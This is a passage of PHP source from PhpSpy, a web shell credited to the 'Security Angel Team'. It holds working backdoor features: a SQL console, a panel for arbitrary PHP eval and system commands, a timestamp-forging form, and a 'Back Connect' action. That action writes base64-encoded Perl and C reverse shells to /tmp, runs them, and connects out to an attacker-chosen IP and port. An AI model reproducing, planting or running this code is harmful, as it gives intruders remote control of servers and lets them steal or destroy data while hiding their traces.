function settable(tablename,doing,page) {
	if(!tablename) return;
	if (doing) {
		$('settable').doing.value=doing;
	}
	if (page) {
		$('settable').page.value=page;
	}
	$('settable').tablename.value=tablename;
	$('settable').submit();
}
</script>
<?php
	//&#25805;&#20316;&#35760;&#24405;
	formhead(array('name'=>'recordlist'));
	makehide('doing');
	makehide('action','sqladmin');
	makehide('base64');
	makehide('tablename');
	p($dbform);
	formfoot();

	//&#36873;&#23450;&#25968;&#25454;&#24211;
	formhead(array('name'=>'setdbname'));
	makehide('action','sqladmin');
	p($dbform);
	if (!$dbname) {
		makehide('dbname');
	}
	formfoot();

	//&#36873;&#23450;&#34920;
	formhead(array('name'=>'settable'));
	makehide('action','sqladmin');
	p($dbform);
	makehide('tablename');
	makehide('page',$page);
	makehide('doing');
	formfoot();

	$cachetables = array();	
	$pagenum = 30;
	$page = intval($page);
	if($page) {
		$start_limit = ($page - 1) * $pagenum;
	} else {
		$start_limit = 0;
		$page = 1;
	}
	if (isset($dbhost) && isset($dbuser) && isset($dbpass) && isset($connect)) {
		dbconn($dbhost, $dbuser, $dbpass, $dbname, $charset, $dbport);
		//&#33719;&#21462;&#25968;&#25454;&#24211;&#20449;&#24687;
		$mysqlver = mysql_get_server_info();
		p('<p>MySQL '.$mysqlver.' running in '.$dbhost.' as '.$dbuser.'@'.$dbhost.'</p>');
		$highver = $mysqlver > '4.1' ? 1 : 0;

		//&#33719;&#21462;&#25968;&#25454;&#24211;
		$query = q("SHOW DATABASES");
		$dbs = array();
		$dbs[] = '-- Select a database --';
		while($db = mysql_fetch_array($query)) {
			$dbs[$db['Database']] = $db['Database'];
		}
		makeselect(array('title'=>'Please select a database:','name'=>'db[]','option'=>$dbs,'selected'=>$dbname,'onchange'=>'moddbname(this.options[this.selectedIndex].value)','newline'=>1));
		$tabledb = array();
		if ($dbname) {
			p('<p>');
			p('Current dababase: <a href="javascript:moddbname(\''.$dbname.'\');">'.$dbname.'</a>');
			if ($tablename) {
				p(' | Current Table: <a href="javascript:settable(\''.$tablename.'\');">'.$tablename.'</a> [ <a href="javascript:settable(\''.$tablename.'\', \'insert\');">Insert</a> | <a href="javascript:settable(\''.$tablename.'\', \'structure\');">Structure</a> | <a href="javascript:settable(\''.$tablename.'\', \'drop\');">Drop</a> ]');
			}
			p('</p>');
			mysql_select_db($dbname);

			$getnumsql = '';
			$runquery = 0;
			if ($sql_query) {
				$runquery = 1;
			}
			$allowedit = 0;
			if ($tablename && !$sql_query) {
				$sql_query = "SELECT * FROM $tablename";
				$getnumsql = $sql_query;
				$sql_query = $sql_query." LIMIT $start_limit, $pagenum";
				$allowedit = 1;
			}
			p('<form action="'.$self.'" method="POST">');
			p('<p><table width="200" border="0" cellpadding="0" cellspacing="0"><tr><td colspan="2">Run SQL query/queries on database '.$dbname.':</td></tr><tr><td><textarea name="sql_query" class="area" style="width:600px;height:50px;overflow:auto;">'.htmlspecialchars($sql_query,ENT_QUOTES).'</textarea></td><td style="padding:0 5px;"><input class="bt" style="height:50px;" name="submit" type="submit" value="Query" /></td></tr></table></p>');
			makehide('tablename', $tablename);
			makehide('action','sqladmin');
			p($dbform);
			p('</form>');
			if ($tablename || ($runquery && $sql_query)) {
				if ($doing == 'structure') {
					$result = q("SHOW COLUMNS FROM $tablename");
					$rowdb = array();
					while($row = mysql_fetch_array($result)) {
						$rowdb[] = $row;
					}
					p('<table border="0" cellpadding="3" cellspacing="0">');
					p('<tr class="head">');
					p('<td>Field</td>');
					p('<td>Type</td>');
					p('<td>Null</td>');
					p('<td>Key</td>');
					p('<td>Default</td>');
					p('<td>Extra</td>');
					p('</tr>');
					foreach ($rowdb as $row) {
						$thisbg = bg();
						p('<tr class="'.$thisbg.'" onmouseover="this.className=\'focus\';" onmouseout="this.className=\''.$thisbg.'\';">');
						p('<td>'.$row['Field'].'</td>');
						p('<td>'.$row['Type'].'</td>');
						p('<td>'.$row['Null'].'&nbsp;</td>');
						p('<td>'.$row['Key'].'&nbsp;</td>');
						p('<td>'.$row['Default'].'&nbsp;</td>');
						p('<td>'.$row['Extra'].'&nbsp;</td>');
						p('</tr>');
					}
					tbfoot();
				} elseif ($doing == 'insert' || $doing == 'edit') {
					$result = q('SHOW COLUMNS FROM '.$tablename);
					while ($row = mysql_fetch_array($result)) {
						$rowdb[] = $row;
					}
					$rs = array();
					if ($doing == 'insert') {
						p('<h2>Insert new line in '.$tablename.' table &raquo;</h2>');
					} else {
						p('<h2>Update record in '.$tablename.' table &raquo;</h2>');
						$where = base64_decode($base64);
						$result = q("SELECT * FROM $tablename WHERE $where LIMIT 1");
						$rs = mysql_fetch_array($result);
					}
					p('<form method="post" action="'.$self.'">');
					p($dbform);
					makehide('action','sqladmin');
					makehide('tablename',$tablename);
					p('<table border="0" cellpadding="3" cellspacing="0">');
					foreach ($rowdb as $row) {
						if ($rs[$row['Field']]) {
							$value = htmlspecialchars($rs[$row['Field']]);
						} else {
							$value = '';
						}
						$thisbg = bg();
						p('<tr class="'.$thisbg.'" onmouseover="this.className=\'focus\';" onmouseout="this.className=\''.$thisbg.'\';">');
						p('<td><b>'.$row['Field'].'</b><br />'.$row['Type'].'</td><td><textarea class="area" name="insertsql['.$row['Field'].']" style="width:500px;height:60px;overflow:auto;">'.$value.'</textarea></td></tr>');
					}
					if ($doing == 'insert') {
						p('<tr class="'.bg().'"><td colspan="2"><input class="bt" type="submit" name="insert" value="Insert" /></td></tr>');
					} else {
						p('<tr class="'.bg().'"><td colspan="2"><input class="bt" type="submit" name="update" value="Update" /></td></tr>');
						makehide('base64', $base64);
					}
					p('</table></form>');
				} else {
					$querys = @explode(';',$sql_query);
					foreach($querys as $num=>$query) {
						if ($query) {
							p("<p><b>Query#{$num} : ".htmlspecialchars($query,ENT_QUOTES)."</b></p>");
							switch(qy($query))
							{
								case 0:
									p('<h2>Error : '.mysql_error().'</h2>');
									break;	
								case 1:
									if (strtolower(substr($query,0,13)) == 'select * from') {
										$allowedit = 1;
									}
									if ($getnumsql) {
										$tatol = mysql_num_rows(q($getnumsql));
										$multipage = multi($tatol, $pagenum, $page, $tablename);
									}
									if (!$tablename) {
										$sql_line = str_replace(array("\r", "\n", "\t"), array(' ', ' ', ' '), trim(htmlspecialchars($query)));
										$sql_line = preg_replace("/\/\*[^(\*\/)]*\*\//i", " ", $sql_line);
										preg_match_all("/from\s+`{0,1}([\w]+)`{0,1}\s+/i",$sql_line,$matches);
										$tablename = $matches[1][0];
									}
									$result = q($query);
									p($multipage);
									p('<table border="0" cellpadding="3" cellspacing="0">');
									p('<tr class="head">');
									if ($allowedit) p('<td>Action</td>');
									$fieldnum = @mysql_num_fields($result);
									for($i=0;$i<$fieldnum;$i++){
										$name = @mysql_field_name($result, $i);
										$type = @mysql_field_type($result, $i);
										$len = @mysql_field_len($result, $i);
										p("<td nowrap>$name<br><span>$type($len)</span></td>");
									}
									p('</tr>');
									while($mn = @mysql_fetch_assoc($result)){
										$thisbg = bg();
										p('<tr class="'.$thisbg.'" onmouseover="this.className=\'focus\';" onmouseout="this.className=\''.$thisbg.'\';">');
										$where = $tmp = $b1 = '';
										foreach($mn as $key=>$inside){
											if ($inside) {
												$where .= $tmp.$key."='".addslashes($inside)."'";
												$tmp = ' AND ';
											}
											$b1 .= '<td nowrap>'.html_clean($inside).'&nbsp;</td>';
										}
										$where = base64_encode($where);
										if ($allowedit) p('<td nowrap><a href="javascript:editrecord(\'edit\', \''.$where.'\', \''.$tablename.'\');">Edit</a> | <a href="javascript:editrecord(\'del\', \''.$where.'\', \''.$tablename.'\');">Del</a></td>');
										p($b1);
										p('</tr>');
										unset($b1);
									}
									tbfoot();
									p($multipage);
									break;	
								case 2:
									$ar = mysql_affected_rows();
									p('<h2>affected rows : <b>'.$ar.'</b></h2>');
									break;
							}
						}
					}
				}
			} else {
				$query = q("SHOW TABLE STATUS");
				$table_num = $table_rows = $data_size = 0;
				$tabledb = array();
				while($table = mysql_fetch_array($query)) {
					$data_size = $data_size + $table['Data_length'];
					$table_rows = $table_rows + $table['Rows'];
					$table['Data_length'] = sizecount($table['Data_length']);
					$table_num++;
					$tabledb[] = $table;
				}
				$data_size = sizecount($data_size);
				unset($table);
				p('<table border="0" cellpadding="0" cellspacing="0">');
				p('<form action="'.$self.'" method="POST">');
				makehide('action','sqladmin');
				p($dbform);
				p('<tr class="head">');
				p('<td width="2%" align="center"><input name="chkall" value="on" type="checkbox" onclick="CheckAll(this.form)" /></td>');
				p('<td>Name</td>');
				p('<td>Rows</td>');
				p('<td>Data_length</td>');
				p('<td>Create_time</td>');
				p('<td>Update_time</td>');
				if ($highver) {
					p('<td>Engine</td>');
					p('<td>Collation</td>');
				}
				p('</tr>');
				foreach ($tabledb as $key => $table) {
					$thisbg = bg();
					p('<tr class="'.$thisbg.'" onmouseover="this.className=\'focus\';" onmouseout="this.className=\''.$thisbg.'\';">');
					p('<td align="center" width="2%"><input type="checkbox" name="table[]" value="'.$table['Name'].'" /></td>');
					p('<td><a href="javascript:settable(\''.$table['Name'].'\');">'.$table['Name'].'</a> [ <a href="javascript:settable(\''.$table['Name'].'\', \'insert\');">Insert</a> | <a href="javascript:settable(\''.$table['Name'].'\', \'structure\');">Structure</a> | <a href="javascript:settable(\''.$table['Name'].'\', \'drop\');">Drop</a> ]</td>');
					p('<td>'.$table['Rows'].'</td>');
					p('<td>'.$table['Data_length'].'</td>');
					p('<td>'.$table['Create_time'].'</td>');
					p('<td>'.$table['Update_time'].'</td>');
					if ($highver) {
						p('<td>'.$table['Engine'].'</td>');
						p('<td>'.$table['Collation'].'</td>');
					}
					p('</tr>');
				}
				p('<tr class='.bg().'>');
				p('<td>&nbsp;</td>');
				p('<td>Total tables: '.$table_num.'</td>');
				p('<td>'.$table_rows.'</td>');
				p('<td>'.$data_size.'</td>');
				p('<td colspan="'.($highver ? 4 : 2).'">&nbsp;</td>');
				p('</tr>');

				p("<tr class=\"".bg()."\"><td colspan=\"".($highver ? 8 : 6)."\"><input name=\"saveasfile\" value=\"1\" type=\"checkbox\" /> Save as file <input class=\"input\" name=\"path\" value=\"".SA_ROOT.$_SERVER['HTTP_HOST']."_MySQL.sql\" type=\"text\" size=\"60\" /> <input class=\"bt\" type=\"submit\" name=\"downrar\" value=\"Export selection table\" /></td></tr>");
				makehide('doing','backupmysql');
				formfoot();
				p("</table>");
				fr($query);
			}
		}
	}
	tbfoot();
	@mysql_close();
}//end sql backup


elseif ($action == 'backconnect') {
	!$yourip && $yourip = $_SERVER['REMOTE_ADDR'];
	!$yourport && $yourport = '12345';
	$usedb = array('perl'=>'perl','c'=>'c');

	$back_connect="IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGNtZD0gImx5bngiOw0KJHN5c3RlbT0gJ2VjaG8gImB1bmFtZSAtYWAiO2Vj".
		"aG8gImBpZGAiOy9iaW4vc2gnOw0KJDA9JGNtZDsNCiR0YXJnZXQ9JEFSR1ZbMF07DQokcG9ydD0kQVJHVlsxXTsNCiRpYWRkcj1pbmV0X2F0b24oJHR".
		"hcmdldCkgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHBhZGRyPXNvY2thZGRyX2luKCRwb3J0LCAkaWFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKT".
		"sNCiRwcm90bz1nZXRwcm90b2J5bmFtZSgndGNwJyk7DQpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKSB8fCBkaWUoI".
		"kVycm9yOiAkIVxuIik7DQpjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpvcGVuKFNURElOLCAiPiZTT0NLRVQi".
		"KTsNCm9wZW4oU1RET1VULCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RERVJSLCAiPiZTT0NLRVQiKTsNCnN5c3RlbSgkc3lzdGVtKTsNCmNsb3NlKFNUREl".
		"OKTsNCmNsb3NlKFNURE9VVCk7DQpjbG9zZShTVERFUlIpOw==";
	$back_connect_c="I2luY2x1ZGUgPHN0ZGlvLmg+DQojaW5jbHVkZSA8c3lzL3NvY2tldC5oPg0KI2luY2x1ZGUgPG5ldGluZXQvaW4uaD4NCmludC".
		"BtYWluKGludCBhcmdjLCBjaGFyICphcmd2W10pDQp7DQogaW50IGZkOw0KIHN0cnVjdCBzb2NrYWRkcl9pbiBzaW47DQogY2hhciBybXNbMjFdPSJyb".
		"SAtZiAiOyANCiBkYWVtb24oMSwwKTsNCiBzaW4uc2luX2ZhbWlseSA9IEFGX0lORVQ7DQogc2luLnNpbl9wb3J0ID0gaHRvbnMoYXRvaShhcmd2WzJd".
		"KSk7DQogc2luLnNpbl9hZGRyLnNfYWRkciA9IGluZXRfYWRkcihhcmd2WzFdKTsgDQogYnplcm8oYXJndlsxXSxzdHJsZW4oYXJndlsxXSkrMStzdHJ".
		"sZW4oYXJndlsyXSkpOyANCiBmZCA9IHNvY2tldChBRl9JTkVULCBTT0NLX1NUUkVBTSwgSVBQUk9UT19UQ1ApIDsgDQogaWYgKChjb25uZWN0KGZkLC".
		"Aoc3RydWN0IHNvY2thZGRyICopICZzaW4sIHNpemVvZihzdHJ1Y3Qgc29ja2FkZHIpKSk8MCkgew0KICAgcGVycm9yKCJbLV0gY29ubmVjdCgpIik7D".
		"QogICBleGl0KDApOw0KIH0NCiBzdHJjYXQocm1zLCBhcmd2WzBdKTsNCiBzeXN0ZW0ocm1zKTsgIA0KIGR1cDIoZmQsIDApOw0KIGR1cDIoZmQsIDEp".
		"Ow0KIGR1cDIoZmQsIDIpOw0KIGV4ZWNsKCIvYmluL3NoIiwic2ggLWkiLCBOVUxMKTsNCiBjbG9zZShmZCk7IA0KfQ==";

	if ($start && $yourip && $yourport && $use){
		if ($use == 'perl') {
			cf('/tmp/angel_bc',$back_connect);
			$res = execute(which('perl')." /tmp/angel_bc $yourip $yourport &");
		} else {
			cf('/tmp/angel_bc.c',$back_connect_c);
			$res = execute('gcc -o /tmp/angel_bc /tmp/angel_bc.c');
			@unlink('/tmp/angel_bc.c');
			$res = execute("/tmp/angel_bc $yourip $yourport &");
		}
		m("Now script try connect to $yourip port $yourport ...");
	}

	formhead(array('title'=>'Back Connect'));
	makehide('action','backconnect');
	p('<p>');
	p('Your IP:');
	makeinput(array('name'=>'yourip','size'=>20,'value'=>$yourip));
	p('Your Port:');
	makeinput(array('name'=>'yourport','size'=>15,'value'=>$yourport));
	p('Use:');
	makeselect(array('name'=>'use','option'=>$usedb,'selected'=>$use));
	makeinput(array('name'=>'start','value'=>'Start','type'=>'submit','class'=>'bt'));
	p('</p>');
	formfoot();
}//end sql backup

elseif ($action == 'eval') {
	$phpcode = trim($phpcode);
	if($phpcode){
		if (!preg_match('#<\?#si', $phpcode)) {
			$phpcode = "<?php\n\n{$phpcode}\n\n?>";
		}
		eval("?".">$phpcode<?");
	}
	formhead(array('title'=>'Eval PHP Code'));
	makehide('action','eval');
	maketext(array('title'=>'PHP Code','name'=>'phpcode', 'value'=>$phpcode));
	p('<p><a href="http://www.4ngel.net/phpspy/plugin/" target="_blank">Get plugins</a></p>');
	formfooter();
}//end eval

elseif ($action == 'editfile') {
	if(file_exists($opfile)) {
		$fp=@fopen($opfile,'r');
		$contents=@fread($fp, filesize($opfile));
		@fclose($fp);
		$contents=htmlspecialchars($contents);
	}
	formhead(array('title'=>'Create / Edit File'));
	makehide('action','file');
	makehide('dir',$nowpath);
	makeinput(array('title'=>'Current File (import new file name and new file)','name'=>'editfilename','value'=>$opfile,'newline'=>1));
	maketext(array('title'=>'File Content','name'=>'filecontent','value'=>$contents));
	formfooter();
}//end editfile

elseif ($action == 'newtime') {
	$opfilemtime = @filemtime($opfile);
	//$time = strtotime("$year-$month-$day $hour:$minute:$second");
	$cachemonth = array('January'=>1,'February'=>2,'March'=>3,'April'=>4,'May'=>5,'June'=>6,'July'=>7,'August'=>8,'September'=>9,'October'=>10,'November'=>11,'December'=>12);
	formhead(array('title'=>'Clone file was last modified time'));
	makehide('action','file');
	makehide('dir',$nowpath);
	makeinput(array('title'=>'Alter file','name'=>'curfile','value'=>$opfile,'size'=>120,'newline'=>1));
	makeinput(array('title'=>'Reference file (fullpath)','name'=>'tarfile','size'=>120,'newline'=>1));
	formfooter();
	formhead(array('title'=>'Set last modified'));
	makehide('action','file');
	makehide('dir',$nowpath);
	makeinput(array('title'=>'Current file (fullpath)','name'=>'curfile','value'=>$opfile,'size'=>120,'newline'=>1));
	p('<p>Instead &raquo;');
	p('year:');
	makeinput(array('name'=>'year','value'=>date('Y',$opfilemtime),'size'=>4));
	p('month:');
	makeinput(array('name'=>'month','value'=>date('m',$opfilemtime),'size'=>2));
	p('day:');
	makeinput(array('name'=>'day','value'=>date('d',$opfilemtime),'size'=>2));
	p('hour:');
	makeinput(array('name'=>'hour','value'=>date('H',$opfilemtime),'size'=>2));
	p('minute:');
	makeinput(array('name'=>'minute','value'=>date('i',$opfilemtime),'size'=>2));
	p('second:');
	makeinput(array('name'=>'second','value'=>date('s',$opfilemtime),'size'=>2));
	p('</p>');
	formfooter();
}//end newtime

elseif ($action == 'shell') {
	if (IS_WIN && IS_COM) {
		if($program && $parameter) {
			$shell= new COM('Shell.Application');
			$a = $shell->ShellExecute($program,$parameter);
			m('Program run has '.(!$a ? 'success' : 'fail'));
		}
		!$program && $program = 'c:\windows\system32\cmd.exe';
		!$parameter && $parameter = '/c net start > '.SA_ROOT.'log.txt';
		formhead(array('title'=>'Execute Program'));
		makehide('action','shell');
		makeinput(array('title'=>'Program','name'=>'program','value'=>$program,'newline'=>1));
		p('<p>');
		makeinput(array('title'=>'Parameter','name'=>'parameter','value'=>$parameter));
		makeinput(array('name'=>'submit','class'=>'bt','type'=>'submit','value'=>'Execute'));
		p('</p>');
		formfoot();
	}
	formhead(array('title'=>'Execute Command'));
	makehide('action','shell');
	if (IS_WIN && IS_COM) {
		$execfuncdb = array('phpfunc'=>'phpfunc','wscript'=>'wscript','proc_open'=>'proc_open');
		makeselect(array('title'=>'Use:','name'=>'execfunc','option'=>$execfuncdb,'selected'=>$execfunc,'newline'=>1));
	}
	p('<p>');
	makeinput(array('title'=>'Command','name'=>'command','value'=>$command));
	makeinput(array('name'=>'submit','class'=>'bt','type'=>'submit','value'=>'Execute'));
	p('</p>');
	formfoot();

	if ($command) {
		p('<hr width="100%" noshade /><pre>');
		if ($execfunc=='wscript' && IS_WIN && IS_COM) {
			$wsh = new COM('WScript.shell');
			$exec = $wsh->exec('cmd.exe /c '.$command);
			$stdout = $exec->StdOut();
			$stroutput = $stdout->ReadAll();
			echo $stroutput;
		} elseif ($execfunc=='proc_open' && IS_WIN && IS_COM) {
			$descriptorspec = array(
			   0 => array('pipe', 'r'),
			   1 => array('pipe', 'w'),
			   2 => array('pipe', 'w')
			);
			$process = proc_open($_SERVER['COMSPEC'], $descriptorspec, $pipes);
			if (is_resource($process)) {
				fwrite($pipes[0], $command."\r\n");
				fwrite($pipes[0], "exit\r\n");
				fclose($pipes[0]);
				while (!feof($pipes[1])) {
					echo fgets($pipes[1], 1024);
				}
				fclose($pipes[1]);
				while (!feof($pipes[2])) {
					echo fgets($pipes[2], 1024);
				}
				fclose($pipes[2]);
				proc_close($process);
			}
		} else {
			echo(execute($command));
		}
		p('</pre>');
	}
}//end shell

elseif ($action == 'phpenv') {
	$upsize=getcfg('file_uploads') ? getcfg('upload_max_filesize') : 'Not allowed';
	$adminmail=isset($_SERVER['SERVER_ADMIN']) ? $_SERVER['SERVER_ADMIN'] : getcfg('sendmail_from');
	!$dis_func && $dis_func = 'No';	
	$info = array(
		1 => array('Server Time',date('Y/m/d h:i:s',$timestamp)),
		2 => array('Server Domain',$_SERVER['SERVER_NAME']),
		3 => array('Server IP',gethostbyname($_SERVER['SERVER_NAME'])),
		4 => array('Server OS',PHP_OS),
		5 => array('Server OS Charset',$_SERVER['HTTP_ACCEPT_LANGUAGE']),
		6 => array('Server Software',$_SERVER['SERVER_SOFTWARE']),
		7 => array('Server Web Port',$_SERVER['SERVER_PORT']),
		8 => array('PHP run mode',strtoupper(php_sapi_name())),
		9 => array('The file path','index.php'),

		10 => array('PHP Version',PHP_VERSION),
		11 => array('PHPINFO',(IS_PHPINFO ? '<a href="javascript:goaction(\'phpinfo\');">Yes</a>' : 'No')),
		12 => array('Safe Mode',getcfg('safe_mode')),
		13 => array('Administrator',$adminmail),
		14 => array('allow_url_fopen',getcfg('allow_url_fopen')),
		15 => array('enable_dl',getcfg('enable_dl')),
		16 => array('display_errors',getcfg('display_errors')),
		17 => array('register_globals',getcfg('register_globals')),
		18 => array('magic_quotes_gpc',getcfg('magic_quotes_gpc')),
		19 => array('memory_limit',getcfg('memory_limit')),
		20 => array('post_max_size',getcfg('post_max_size')),
		21 => array('upload_max_filesize',$upsize),
		22 => array('max_execution_time',getcfg('max_execution_time').' second(s)'),
		23 => array('disable_functions',$dis_func),
	);

	if($phpvarname) {
		m($phpvarname .' : '.getcfg($phpvarname));
	}

	formhead(array('title'=>'Server environment'));
	makehide('action','phpenv');
	makeinput(array('title'=>'Please input PHP configuration parameter(eg:magic_quotes_gpc)','name'=>'phpvarname','value'=>$phpvarname,'newline'=>1));
	formfooter();

	$hp = array(0=> 'Server', 1=> 'PHP');
	for($a=0;$a<2;$a++) {
		p('<h2>'.$hp[$a].' &raquo;</h2>');
		p('<ul class="info">');
		if ($a==0) {
			for($i=1;$i<=9;$i++) {
				p('<li><u>'.$info[$i][0].':</u>'.$info[$i][1].'</li>');
			}
		} elseif ($a == 1) {
			for($i=10;$i<=23;$i++) {
				p('<li><u>'.$info[$i][0].':</u>'.$info[$i][1].'</li>');
			}
		}
		p('</ul>');
	}
}//end phpenv

else {
	m('Undefined Action');
}

?>
</td></tr></table>
<div style="padding:10px;border-bottom:1px solid #fff;border-top:1px solid #ddd;background:#eee;">
	<span style="float:right;"><?php debuginfo();ob_end_flush();?></span>
	Copyright (C) 2004-2008 <a href="http://www.4ngel.net" target="_blank">Security Angel Team [S4T]</a> All Rights Reserved.
</div>
</body>
</html>

<?php

/*======================================================
&#20989;&#25968;&#24211;
======================================================*/

function m($msg) {
	echo '<div style="background:#f1f1f1;border:1px solid #ddd;padding:15px;font:14px;text-align:center;font-weight:bold;">';
	echo $msg;
	echo '</div>';
}
function scookie($key, $value, $life = 0, $prefix = 1) {
	global $admin, $timestamp, $_SERVER;
	$key = ($prefix ? $admin['cookiepre'] : '').$key;
	$life = $life ? $life : $admin['cookielife'];
	$useport = $_SERVER['SERVER_PORT'] == 443 ? 1 : 0;
	setcookie($key, $value, $timestamp+$life, $admin['cookiepath'], $admin['cookiedomain'], $useport);
}	
function multi($num, $perpage, $curpage, $tablename) {
	$multipage = '';
	if($num > $perpage) {
		$page = 10;
		$offset = 5;
		$pages = @ceil($num / $perpage);
		if($page > $pages) {
			$from = 1;
			$to = $pages;
		} else {
			$from = $curpage - $offset;
			$to = $curpage + $page - $offset - 1;
			if($from < 1) {
				$to = $curpage + 1 - $from;
				$from = 1;
				if(($to - $from) < $page && ($to - $from) < $pages) {
					$to = $page;
				}
			} elseif($to > $pages) {
				$from = $curpage - $pages + $to;
				$to = $pages;
				if(($to - $from) < $page && ($to - $from) < $pages) {
					$from = $pages - $page + 1;
				}
			}
		}
		$multipage = ($curpage - $offset > 1 && $pages > $page ? '<a href="javascript:settable(\''.$tablename.'\', \'\', 1);">First</a> ' : '').($curpage > 1 ? '<a href="javascript:settable(\''.$tablename.'\', \'\', '.($curpage - 1).');">Prev</a> ' : '');
		for($i = $from; $i <= $to; $i++) {
			$multipage .= $i == $curpage ? $i.' ' : '<a href="javascript:settable(\''.$tablename.'\', \'\', '.$i.');">['.$i.']</a> ';
		}
		$multipage .= ($curpage < $pages ? '<a href="javascript:settable(\''.$tablename.'\', \'\', '.($curpage + 1).');">Next</a>' : '').($to < $pages ? ' <a href="javascript:settable(\''.$tablename.'\', \'\', '.$pages.');">Last</a>' : '');
		$multipage = $multipage ? '<p>Pages: '.$multipage.'</p>' : '';
	}
	return $multipage;
}
// &#30331;&#38470;&#20837;&#21475;
function loginpage() {
?>
	<style type="text/css">
	input {font:11px Verdana;BACKGROUND: #FFFFFF;height: 18px;border: 1px solid #666666;}
	</style>
	<form method="POST" action="">
	<span style="font:11px Verdana;">Password: </span><input name="password" type="password" size="20">
	<input type="hidden" name="doing" value="login">
	<input type="submit" value="Login">
	</form>
<?php
	exit;
}//end loginpage()

function execute($cfe) {
	$res = '';
	if ($cfe) {
		if(function_exists('exec')) {
			@exec($cfe,$res);
			$res = join("\n",$res);
		} elseif(function_exists('shell_exec')) {
			$res = @shell_exec($cfe);
		} elseif(function_exists('system')) {
			@ob_start();
			@system($cfe);
			$res = @ob_get_contents();
			@ob_end_clean();
		} elseif(function_exists('passthru')) {
			@ob_start();
			@passthru($cfe);
			$res = @ob_get_contents();
			@ob_end_clean();
		} elseif(@is_resource($f = @popen($cfe,"r"))) {
			$res = '';
			while(!@feof($f)) {
				$res .= @fread($f,1024); 
			}
			@pclose($f);
		}
	}
	return $res;
}
function which($pr) {
	$path = execute("which $pr");
	return ($path ? $path : $pr); 
}

function cf($fname,$text){
	if($fp=@fopen($fname,'w')) {
		@fputs($fp,base64_decode($text));
		@fclose($fp);
	}
}

// &#39029;&#38754;&#35843;&#35797;&#20449;&#24687;
function debuginfo() {
	global $starttime;
	$mtime = explode(' ', microtime());
	$totaltime = number_format(($mtime[1] + $mtime[0] - $starttime), 6);
	echo 'Processed in '.$totaltime.' second(s)';
}

//&#36830;&#25509;&#25968;&#25454;&#24211;
function dbconn($dbhost,$dbuser,$dbpass,$dbname='',$charset='',$dbport='3306') {
	if(!$link = @mysql_connect($dbhost.':'.$dbport, $dbuser, $dbpass)) {
		p('<h2>Can not connect to MySQL server</h2>');
		exit;
	}
	if($link && $dbname) {
		if (!@mysql_select_db($dbname, $link)) {
			p('<h2>Database selected has error</h2>');
			exit;
		}
	}
	if($link && mysql_get_server_info() > '4.1') {
		if(in_array(strtolower($charset), array('gbk', 'big5', 'utf8'))) {
			q("SET character_set_connection=$charset, character_set_results=$charset, character_set_client=binary;", $link);
		}
	}
	return $link;
}

// &#21435;&#25481;&#36716;&#20041;&#23383;&#31526;
function s_array(&$array) {
	if (is_array($array)) {
		foreach ($array as $k => $v) {
			$array[$k] = s_array($v);
		}
	} else if (is_string($array)) {
		$array = stripslashes($array);
	}
	return $array;
}

// &#28165;&#38500;HTML&#20195;&#30721;
function html_clean($content) {
	$content = htmlspecialchars($content);
	$content = str_replace("\n", "<br />", $content);
	$content = str_replace("  ", "&nbsp;&nbsp;", $content);
	$content = str_replace("\t", "&nbsp;&nbsp;&nbsp;&nbsp;", $content);
	return $content;
}

// &#33719;&#21462;&#26435;&#38480;
function getChmod($filepath){
	return substr(base_convert(@fileperms($filepath),10,8),-4);
}

function getPerms($filepath) {
	$mode = @fileperms($filepath);
	if (($mode & 0xC000) === 0xC000) {$type = 's';}
	elseif (($mode & 0x4000) === 0x4000) {$type = 'd';}
	elseif (($mode & 0xA000) === 0xA000) {$type = 'l';}
	elseif (($mode & 0x8000) === 0x8000) {$type = '-';} 
	elseif (($mode & 0x6000) === 0x6000) {$type = 'b';}
	elseif (($mode & 0x2000) === 0x2000) {$type = 'c';}
	elseif (($mode & 0x1000) === 0x1000) {$type = 'p';}
	else {$type = '?';}

	$owner['read'] = ($mode & 00400) ? 'r' : '-'; 
	$owner['write'] = ($mode & 00200) ? 'w' : '-'; 
	$owner['execute'] = ($mode & 00100) ? 'x' : '-'; 
	$group['read'] = ($mode & 00040) ? 'r' : '-'; 
	$group['write'] = ($mode & 00020) ? 'w' : '-'; 
	$group['execute'] = ($mode & 00010) ? 'x' : '-'; 
	$world['read'] = ($mode & 00004) ? 'r' : '-'; 
	$world['write'] = ($mode & 00002) ? 'w' : '-'; 
	$world['execute'] = ($mode & 00001) ? 'x' : '-'; 

	if( $mode & 0x800 ) {$owner['execute'] = ($owner['execute']=='x') ? 's' : 'S';}
	if( $mode & 0x400 ) {$group['execute'] = ($group['execute']=='x') ? 's' : 'S';}
	if( $mode & 0x200 ) {$world['execute'] = ($world['execute']=='x') ? 't' : 'T';}
 
	return $type.$owner['read'].$owner['write'].$owner['execute'].$group['read'].$group['write'].$group['execute'].$world['read'].$world['write'].$world['execute'];
}

function getUser($filepath)	{
	if (function_exists('posix_getpwuid')) {
		$array = @posix_getpwuid(@fileowner($filepath));
		if ($array && is_array($array)) {
			return ' / <a href="#" title="User: '.$array['name'].'&#13&#10Passwd: '.$array['passwd'].'&#13&#10Uid: '.$array['uid'].'&#13&#10gid: '.$array['gid'].'&#13&#10Gecos: '.$array['gecos'].'&#13&#10Dir: '.$array['dir'].'&#13&#10Shell: '.$array['shell'].'">'.$array['name'].'</a>';
		}
	}
	return '';
}

// &#21024;&#38500;&#30446;&#24405;
function deltree($deldir) {
	$mydir=@dir($deldir);	
	while($file=$mydir->read())	{ 		
		if((is_dir($deldir.'/'.$file)) && ($file!='.') && ($file!='..')) { 
			@chmod($deldir.'/'.$file,0777);
			deltree($deldir.'/'.$file); 
		}
		if (is_file($deldir.'/'.$file)) {
			@chmod($deldir.'/'.$file,0777);
			@unlink($deldir.'/'.$file);
		}
	} 
	$mydir->close(); 
	@chmod($deldir,0777);
	return @rmdir($deldir) ? 1 : 0;
}

// &#34920;&#26684;&#34892;&#38388;&#30340;&#32972;&#26223;&#33394;&#26367;&#25442;
function bg() {
	global $bgc;
	return ($bgc++%2==0) ? 'alt1' : 'alt2';
}

// &#33719;&#21462;&#24403;&#21069;&#30340;&#25991;&#20214;&#31995;&#32479;&#36335;&#24452;
function getPath($scriptpath, $nowpath) {
